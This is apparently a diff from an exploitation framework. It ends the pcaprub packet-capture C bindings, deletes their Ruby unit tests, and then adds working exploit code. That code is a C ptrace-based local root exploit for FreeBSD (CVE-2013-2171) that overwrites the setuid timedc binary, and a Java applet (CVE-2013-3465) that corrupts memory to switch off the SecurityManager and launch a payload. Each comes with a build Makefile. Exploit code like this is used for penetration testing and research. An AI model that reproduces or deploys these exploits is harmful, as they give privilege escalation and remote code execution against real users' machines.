VALUE hash;
Data_Get_Struct(self, rbpcap_t, rbp);
if(! rbpcap_ready(rbp)) return self;
if (pcap_stats(rbp->pd, &stat) == -1)
return Qnil;
hash = rb_hash_new();
rb_hash_aset(hash, rb_str_new2("recv"), UINT2NUM(stat.ps_recv));
rb_hash_aset(hash, rb_str_new2("drop"), UINT2NUM(stat.ps_drop));
rb_hash_aset(hash, rb_str_new2("idrop"), UINT2NUM(stat.ps_ifdrop));
return hash;
}
void
Init_pcaprub()
{
// Pcap
rb_cPcap = rb_define_class("Pcap", rb_cObject);
rb_define_module_function(rb_cPcap, "version", rbpcap_s_version, 0);
rb_define_module_function(rb_cPcap, "lookupdev", rbpcap_s_lookupdev, 0);
rb_define_module_function(rb_cPcap, "lookupnet", rbpcap_s_lookupnet, 1);
rb_define_module_function(rb_cPcap, "lookupaddrs", rbpcap_s_lookupaddrs, 1);
rb_define_const(rb_cPcap, "DLT_NULL", INT2NUM(DLT_NULL));
rb_define_const(rb_cPcap, "DLT_EN10MB", INT2NUM(DLT_EN10MB));
rb_define_const(rb_cPcap, "DLT_EN3MB", INT2NUM(DLT_EN3MB));
rb_define_const(rb_cPcap, "DLT_AX25", INT2NUM(DLT_AX25));
rb_define_const(rb_cPcap, "DLT_PRONET", INT2NUM(DLT_PRONET));
rb_define_const(rb_cPcap, "DLT_CHAOS", INT2NUM(DLT_CHAOS));
rb_define_const(rb_cPcap, "DLT_IEEE802", INT2NUM(DLT_IEEE802));
rb_define_const(rb_cPcap, "DLT_ARCNET", INT2NUM(DLT_ARCNET));
rb_define_const(rb_cPcap, "DLT_SLIP", INT2NUM(DLT_SLIP));
rb_define_const(rb_cPcap, "DLT_PPP", INT2NUM(DLT_PPP));
rb_define_const(rb_cPcap, "DLT_FDDI", INT2NUM(DLT_FDDI));
rb_define_const(rb_cPcap, "DLT_ATM_RFC1483", INT2NUM(DLT_ATM_RFC1483));
rb_define_const(rb_cPcap, "DLT_RAW", INT2NUM(DLT_RAW));
rb_define_const(rb_cPcap, "DLT_SLIP_BSDOS", INT2NUM(DLT_SLIP_BSDOS));
rb_define_const(rb_cPcap, "DLT_PPP_BSDOS", INT2NUM(DLT_PPP_BSDOS));
rb_define_const(rb_cPcap, "DLT_IEEE802_11", INT2NUM(DLT_IEEE802_11));
rb_define_const(rb_cPcap, "DLT_IEEE802_11_RADIO", INT2NUM(DLT_IEEE802_11_RADIO));
rb_define_const(rb_cPcap, "DLT_IEEE802_11_RADIO_AVS", INT2NUM(DLT_IEEE802_11_RADIO_AVS));
rb_define_const(rb_cPcap, "DLT_LINUX_SLL", INT2NUM(DLT_LINUX_SLL));
rb_define_const(rb_cPcap, "DLT_PRISM_HEADER", INT2NUM(DLT_PRISM_HEADER));
rb_define_const(rb_cPcap, "DLT_AIRONET_HEADER", INT2NUM(DLT_AIRONET_HEADER));
rb_define_singleton_method(rb_cPcap, "new", rbpcap_new_s, 0);
rb_define_singleton_method(rb_cPcap, "open_live", rbpcap_open_live_s, 4);
rb_define_singleton_method(rb_cPcap, "open_offline", rbpcap_open_offline_s, 1);
rb_define_singleton_method(rb_cPcap, "open_dead", rbpcap_open_dead_s, 2);
rb_define_singleton_method(rb_cPcap, "dump_open", rbpcap_dump_open, 1);
rb_define_method(rb_cPcap, "dump", rbpcap_dump, 3);
rb_define_method(rb_cPcap, "each", rbpcap_capture, 0);
rb_define_method(rb_cPcap, "next", rbpcap_next, 0);
rb_define_method(rb_cPcap, "setfilter", rbpcap_setfilter, 1);
rb_define_method(rb_cPcap, "inject", rbpcap_inject, 1);
rb_define_method(rb_cPcap, "datalink", rbpcap_datalink, 0);
rb_define_method(rb_cPcap, "snapshot", rbpcap_snapshot, 0);
rb_define_method(rb_cPcap, "snaplen", rbpcap_snapshot, 0);
rb_define_method(rb_cPcap, "stats", rbpcap_stats, 0);
//Netifaces
rb_define_module_function(rb_cPcap, "interfaces", rbnetifaces_s_interfaces, 0);
rb_define_module_function(rb_cPcap, "addresses", rbnetifaces_s_addresses, 1);
rb_define_module_function(rb_cPcap, "interface_info", rbnetifaces_s_interface_info, 1);
//constants
// Address families (auto-detect using #ifdef)
#ifdef AF_INET
rb_define_const(rb_cPcap, "AF_INET", INT2NUM(AF_INET));
#endif
#ifdef AF_INET6
rb_define_const(rb_cPcap, "AF_INET6", INT2NUM(AF_INET6));
#endif
#ifdef AF_UNSPEC
rb_define_const(rb_cPcap, "AF_UNSPEC", INT2NUM(AF_UNSPEC));
#endif
#ifdef AF_UNIX
rb_define_const(rb_cPcap, "AF_UNIX", INT2NUM(AF_UNIX));
#endif
#ifdef AF_FILE
rb_define_const(rb_cPcap, "AF_FILE", INT2NUM(AF_FILE));
#endif
#ifdef AF_AX25
rb_define_const(rb_cPcap, "AF_AX25", INT2NUM(AF_AX25));
#endif
#ifdef AF_IMPLINK
rb_define_const(rb_cPcap, "AF_IMPLINK", INT2NUM(AF_IMPLINK));
#endif
#ifdef AF_PUP
rb_define_const(rb_cPcap, "AF_PUP", INT2NUM(AF_PUP));
#endif
#ifdef AF_CHAOS
rb_define_const(rb_cPcap, "AF_CHAOS", INT2NUM(AF_CHAOS));
#endif
#ifdef AF_NS
rb_define_const(rb_cPcap, "AF_NS", INT2NUM(AF_NS));
#endif
#ifdef AF_ISO
rb_define_const(rb_cPcap, "AF_ISO", INT2NUM(AF_ISO));
#endif
#ifdef AF_ECMA
rb_define_const(rb_cPcap, "AF_ECMA", INT2NUM(AF_ECMA));
#endif
#ifdef AF_DATAKIT
rb_define_const(rb_cPcap, "AF_DATAKIT", INT2NUM(AF_DATAKIT));
#endif
#ifdef AF_CCITT
rb_define_const(rb_cPcap, "AF_CCITT", INT2NUM(AF_CCITT));
#endif
#ifdef AF_SNA
rb_define_const(rb_cPcap, "AF_SNA", INT2NUM(AF_SNA));
#endif
#ifdef AF_DECnet
rb_define_const(rb_cPcap, "AF_DECnet", INT2NUM(AF_DECnet));
#endif
#ifdef AF_DLI
rb_define_const(rb_cPcap, "AF_DLI", INT2NUM(AF_DLI));
#endif
#ifdef AF_LAT
rb_define_const(rb_cPcap, "AF_LAT", INT2NUM(AF_LAT));
#endif
#ifdef AF_HYLINK
rb_define_const(rb_cPcap, "AF_HYLINK", INT2NUM(AF_HYLINK));
#endif
#ifdef AF_APPLETALK
rb_define_const(rb_cPcap, "AF_APPLETALK", INT2NUM(AF_APPLETALK));
#endif
#ifdef AF_ROUTE
rb_define_const(rb_cPcap, "AF_ROUTE", INT2NUM(AF_ROUTE));
#endif
#ifdef AF_LINK
rb_define_const(rb_cPcap, "AF_LINK", INT2NUM(AF_LINK));
#endif
#ifdef AF_PACKET
rb_define_const(rb_cPcap, "AF_PACKET", INT2NUM(AF_PACKET));
#endif
#ifdef AF_COIP
rb_define_const(rb_cPcap, "AF_COIP", INT2NUM(AF_COIP));
#endif
#ifdef AF_CNT
rb_define_const(rb_cPcap, "AF_CNT", INT2NUM(AF_CNT));
#endif
#ifdef AF_IPX
rb_define_const(rb_cPcap, "AF_IPX", INT2NUM(AF_IPX));
#endif
#ifdef AF_SIP
rb_define_const(rb_cPcap, "AF_SIP", INT2NUM(AF_SIP));
#endif
#ifdef AF_NDRV
rb_define_const(rb_cPcap, "AF_NDRV", INT2NUM(AF_NDRV));
#endif
#ifdef AF_ISDN
rb_define_const(rb_cPcap, "AF_ISDN", INT2NUM(AF_ISDN));
#endif
#ifdef AF_NATM
rb_define_const(rb_cPcap, "AF_NATM", INT2NUM(AF_NATM));
#endif
#ifdef AF_SYSTEM
rb_define_const(rb_cPcap, "AF_SYSTEM", INT2NUM(AF_SYSTEM));
#endif
#ifdef AF_NETBIOS
rb_define_const(rb_cPcap, "AF_NETBIOS", INT2NUM(AF_NETBIOS));
#endif
#ifdef AF_NETBEUI
rb_define_const(rb_cPcap, "AF_NETBEUI", INT2NUM(AF_NETBEUI));
#endif
#ifdef AF_PPP
rb_define_const(rb_cPcap, "AF_PPP", INT2NUM(AF_PPP));
#endif
#ifdef AF_ATM
rb_define_const(rb_cPcap, "AF_ATM", INT2NUM(AF_ATM));
#endif
#ifdef AF_ATMPVC
rb_define_const(rb_cPcap, "AF_ATMPVC", INT2NUM(AF_ATMPVC));
#endif
#ifdef AF_ATMSVC
rb_define_const(rb_cPcap, "AF_ATMSVC", INT2NUM(AF_ATMSVC));
#endif
#ifdef AF_NETGRAPH
rb_define_const(rb_cPcap, "AF_NETGRAPH", INT2NUM(AF_NETGRAPH));
#endif
#ifdef AF_VOICEVIEW
rb_define_const(rb_cPcap, "AF_VOICEVIEW", INT2NUM(AF_VOICEVIEW));
#endif
#ifdef AF_FIREFOX
rb_define_const(rb_cPcap, "AF_FIREFOX", INT2NUM(AF_FIREFOX));
#endif
#ifdef AF_UNKNOWN1
rb_define_const(rb_cPcap, "AF_UNKNOWN1", INT2NUM(AF_UNKNOWN1));
#endif
#ifdef AF_BAN
rb_define_const(rb_cPcap, "AF_BAN", INT2NUM(AF_BAN));
#endif
#ifdef AF_CLUSTER
rb_define_const(rb_cPcap, "AF_CLUSTER", INT2NUM(AF_CLUSTER));
#endif
#ifdef AF_12844
rb_define_const(rb_cPcap, "AF_12844", INT2NUM(AF_12844));
#endif
#ifdef AF_IRDA
rb_define_const(rb_cPcap, "AF_IRDA", INT2NUM(AF_IRDA));
#endif
#ifdef AF_NETDES
rb_define_const(rb_cPcap, "AF_NETDES", INT2NUM(AF_NETDES));
#endif
#ifdef AF_NETROM
rb_define_const(rb_cPcap, "AF_NETROM", INT2NUM(AF_NETROM));
#endif
#ifdef AF_BRIDGE
rb_define_const(rb_cPcap, "AF_BRIDGE", INT2NUM(AF_BRIDGE));
#endif
#ifdef AF_X25
rb_define_const(rb_cPcap, "AF_X25", INT2NUM(AF_X25));
#endif
#ifdef AF_ROSE
rb_define_const(rb_cPcap, "AF_ROSE", INT2NUM(AF_ROSE));
#endif
#ifdef AF_SECURITY
rb_define_const(rb_cPcap, "AF_SECURITY", INT2NUM(AF_SECURITY));
#endif
#ifdef AF_KEY
rb_define_const(rb_cPcap, "AF_KEY", INT2NUM(AF_KEY));
#endif
#ifdef AF_NETLINK
rb_define_const(rb_cPcap, "AF_NETLINK", INT2NUM(AF_NETLINK));
#endif
#ifdef AF_ASH
rb_define_const(rb_cPcap, "AF_ASH", INT2NUM(AF_ASH));
#endif
#ifdef AF_ECONET
rb_define_const(rb_cPcap, "AF_ECONET", INT2NUM(AF_ECONET));
#endif
#ifdef AF_PPPOX
rb_define_const(rb_cPcap, "AF_PPPOX", INT2NUM(AF_PPPOX));
#endif
#ifdef AF_WANPIPE
rb_define_const(rb_cPcap, "AF_WANPIPE", INT2NUM(AF_WANPIPE));
#endif
#ifdef AF_BLUETOOTH
rb_define_const(rb_cPcap, "AF_BLUETOOTH", INT2NUM(AF_BLUETOOTH));
#endif
}

View File

@ -1,125 +0,0 @@
#!/usr/bin/ruby
base = File.symlink?(__FILE__) ? File.readlink(__FILE__) : __FILE__
$:.unshift(File.join(File.dirname(base)))
require 'test/unit'
require 'pcaprub'
#
# Simple unit test, requires r00t.
#
class Pcap::UnitTest < Test::Unit::TestCase
def test_version
assert_equal(String, Pcap.version.class)
puts "Pcaprub version: #{Pcap.version}"
end
def test_lookupdev
assert_equal(String, Pcap.lookupdev.class)
puts "Pcaprub default device: #{Pcap.lookupdev}"
end
def test_lookupnet
dev = Pcap.lookupdev
assert_equal(Array, Pcap.lookupnet(dev).class)
net = Pcap.lookupnet(dev)
puts "Pcaprub net (#{dev}): #{net[0]} #{[net[1]].pack("N").unpack("H*")[0]}"
end
def test_pcap_new
o = Pcap.new
assert_equal(Pcap, o.class)
end
def test_pcap_setfilter_bad
e = nil
o = Pcap.new
begin
o.setfilter("not ip")
rescue ::Exception => e
end
assert_equal(e.class, ArgumentError)
end
def test_pcap_setfilter
d = Pcap.lookupdev
o = Pcap.open_live(d, 65535, true, 1)
r = o.setfilter("not ip")
assert_equal(Pcap, r.class)
end
def test_pcap_inject
d = Pcap.lookupdev
o = Pcap.open_live(d, 65535, true, 1)
r = o.inject("X" * 512)
assert_equal(512, r)
end
def test_pcap_datalink
d = Pcap.lookupdev
o = Pcap.open_live(d, 65535, true, 1)
r = o.datalink
assert_equal(Fixnum, r.class)
end
def test_pcap_snapshot
d = Pcap.lookupdev
o = Pcap.open_live(d, 1344, true, 1)
r = o.snapshot
assert_equal(1344, r)
end
def test_pcap_stats
d = Pcap.lookupdev
o = Pcap.open_live(d, 1344, true, 1)
r = o.stats
assert_equal(Hash, r.class)
end
def test_pcap_next
d = Pcap.lookupdev
o = Pcap.open_live(d, 1344, true, 1)
@c = 0
t = Thread.new { while(true); @c += 1; select(nil, nil, nil, 0.10); end; }
require 'timeout'
begin
Timeout.timeout(10) do
o.each do |pkt|
end
end
rescue ::Timeout::Error
end
t.kill
puts "Background thread ticked #{@c} times while capture was running"
true
end
def test_netifaces_constants
puts "AF_LINK Value is #{Pcap::AF_LINK}"
puts "AF_INET Value is #{Pcap::AF_INET}"
puts "AF_INET6 Value is #{Pcap::AF_INET6}" if Pcap.const_defined?(:AF_INET6)
end
def test_netifaces_functions
Pcap.interfaces.sort.each do |iface|
puts "#{iface} :"
Pcap.addresses(iface).sort.each do |family,values|
puts "\t#{family} :"
values.each do |val|
puts "\t\taddr : #{val['addr']}" if val.has_key?("addr")
puts "\t\tnetmask : #{val['netmask']}" if val.has_key?("netmask")
puts "\t\tbroadcast : #{val['broadcast']}" if val.has_key?("broadcast")
puts "\n"
end
end
end
end
end

View File

@ -0,0 +1,2 @@
all: exploit.c
gcc exploit.c -o ../../../../data/exploits/CVE-2013-2171.bin

View File

@ -0,0 +1,54 @@
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#define TG "/usr/sbin/timedc"
/*
This is based on Hunger's PoC
*/
int main(int ac, char **av) {
int from_fd, to_fd, status;
struct stat st;
struct ptrace_io_desc piod;
char *s, *d;
int pid;
char *bin = "MSFABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890"; // is just a place holder
if (geteuid() == 0) {
setuid(0);
execl(bin, bin, NULL);
return 0;
}
from_fd = open(av[0], O_RDONLY);
to_fd = open(TG, O_RDONLY);
if ( from_fd == -1 || to_fd == -1 ) return 0;
if (stat(av[0], &st) == -1) return 0;
s = mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_SHARED, from_fd, (off_t)0);
d = mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0);
if (s == MAP_FAILED || d == MAP_FAILED) return 0;
if ((pid = fork()) == -1) return 0;
if (!pid) {
if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1) return 0;
}
if (ptrace(PT_ATTACH, pid, NULL, 0) == -1) return 0;
if (wait(&status) == -1) return 0;
piod.piod_op = PIOD_WRITE_D;
piod.piod_offs = d;
piod.piod_addr = s;
piod.piod_len = st.st_size;
if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1) return 0;
execl(TG, TG, NULL);
return 0;
}

View File

@ -0,0 +1,197 @@
import java.awt.image.*;
import java.awt.color.*;
import java.beans.Statement;
import java.security.*;
import metasploit.Payload;
import java.applet.Applet;
public class Exploit extends Applet {
public void init() {
try {
// try several attempts to exploit
for(int i=1; i <= 5 && System.getSecurityManager() != null; i++){
//System.out.println("Attempt #" + i);
tryExpl();
}
// check results
if (System.getSecurityManager() == null) {
// execute payload
//Runtime.getRuntime().exec(_isMac ? "/Applications/Calculator.app/Contents/MacOS/Calculator":"calc.exe");
Payload.main(null);
}
} catch (Exception ex) {
//ex.printStackTrace();
}
}
public static String toHex(int i)
{
return Integer.toHexString(i);
}
private boolean _is64 = System.getProperty("os.arch","").contains("64");
// we will need ColorSpace which returns 1 from getNumComponents()
class MyColorSpace extends ICC_ColorSpace
{
public MyColorSpace()
{
super(ICC_Profile.getInstance(ColorSpace.CS_sRGB));
}
// override getNumComponents
public int getNumComponents()
{
int res = 1;
return res;
}
}
// we will need ComponentColorModel with the obedient isCompatibleRaster() which always returns true.
class MyColorModel extends ComponentColorModel
{
public MyColorModel()
{
super(new MyColorSpace(), new int[]{8,8,8}, false, false, 1, DataBuffer.TYPE_BYTE);
}
// override isCompatibleRaster
public boolean isCompatibleRaster(Raster r)
{
boolean res = true;
return res;
}
}
private int tryExpl()
{
try {
// alloc aux vars
String name = "setSecurityManager";
Object[] o1 = new Object[1];
Object o2 = new Statement(System.class, name, o1); // make a dummy call for init
// allocate byte buffer for destination Raster.
DataBufferByte dst = new DataBufferByte(16);
// allocate the target array right after dst
int[] a = new int[8];
// allocate an object array right after a[]
Object[] oo = new Object[7];
// create Statement with the restricted AccessControlContext
oo[2] = new Statement(System.class, name, o1);
// create powerful AccessControlContext
Permissions ps = new Permissions();
ps.add(new AllPermission());
oo[3] = new AccessControlContext(
new ProtectionDomain[]{
new ProtectionDomain(
new CodeSource(
new java.net.URL("file:///"),
new java.security.cert.Certificate[0]
),
ps
)
}
);
// store System.class pointer in oo[]
oo[4] = ((Statement)oo[2]).getTarget();
// save old a.length
int oldLen = a.length;
//System.out.println("a.length = 0x" + toHex(oldLen));
// create regular source image
BufferedImage bi1 = new BufferedImage(4,1, BufferedImage.TYPE_INT_ARGB);
// prepare the sample model with "dataBitOffset" pointing outside dst[] onto a.length
MultiPixelPackedSampleModel sm = new MultiPixelPackedSampleModel(DataBuffer.TYPE_BYTE, 4,1,1,4, 44 + (_is64 ? 8:0));
// create malformed destination image based on dst[] data
WritableRaster wr = Raster.createWritableRaster(sm, dst, null);
BufferedImage bi2 = new BufferedImage(new MyColorModel(), wr, false, null);
// prepare first pixel which will overwrite a.length
bi1.getRaster().setPixel(0,0, new int[]{-1,-1,-1,-1});
// call the vulnerable storeImageArray() function (see ...\jdk\src\share\native\sun\awt\medialib\awt_ImagingLib.c)
AffineTransformOp op = new AffineTransformOp(new java.awt.geom.AffineTransform(1,0,0,1,0,0), null);
op.filter(bi1, bi2);
// check results: a.length should be overwritten by 0xFFFFFFFF
int len = a.length;
//System.out.println("a.length = 0x" + toHex(len));
if (len == oldLen) {
// check a[] content corruption // for RnD
for(int i=0; i < len; i++) {
if (a[i] != 0) {
//System.out.println("a["+i+"] = 0x" + toHex(a[i]));
}
}
// exit
//System.out.println("error 1");
return 1;
}
// ok, now we can read/write outside the real a[] storage,
// lets find our Statement object and replace its private "acc" field value
// search for oo[] after a[oldLen]
boolean found = false;
int ooLen = oo.length;
for(int i=oldLen+2; i < oldLen+32; i++)
if (a[i-1]==ooLen && a[i]==0 && a[i+1]==0 // oo[0]==null && oo[1]==null
&& a[i+2]!=0 && a[i+3]!=0 && a[i+4]!=0 // oo[2,3,4] != null
&& a[i+5]==0 && a[i+6]==0) // oo[5,6] == null
{
// read pointer from oo[4]
int stmTrg = a[i+4];
// search for the Statement.target field behind oo[]
for(int j=i+7; j < i+7+64; j++){
if (a[j] == stmTrg) {
// overwrite default Statement.acc by oo[3] ("AllPermission")
a[j-1] = a[i+3];
found = true;
break;
}
}
if (found) break;
}
// check results
if (!found) {
// print the memory dump on error // for RnD
String s = "a["+oldLen+"...] = ";
for(int i=oldLen; i < oldLen+32; i++) s += toHex(a[i]) + ",";
//System.out.println(s);
} else try {
// call System.setSecurityManager(null)
((Statement)oo[2]).execute();
// show results: SecurityManager should be null
} catch (Exception ex) {
//ex.printStackTrace();
}
//System.out.println(System.getSecurityManager() == null ? "Ok.":"Fail.");
} catch (Exception ex) {
//ex.printStackTrace();
}
return 0;
}
}

View File

@ -0,0 +1,14 @@
CLASSES = Exploit.java
.SUFFIXES: .java .class
.java.class:
javac -source 1.2 -target 1.2 -cp "../../../../data/java" Exploit.java
all: $(CLASSES:.java=.class)
install:
mv *.class ../../../../data/exploits/CVE-2013-3465/
clean:
rm -rf *.class

Some files were not shown because too many files have changed in this diff Show More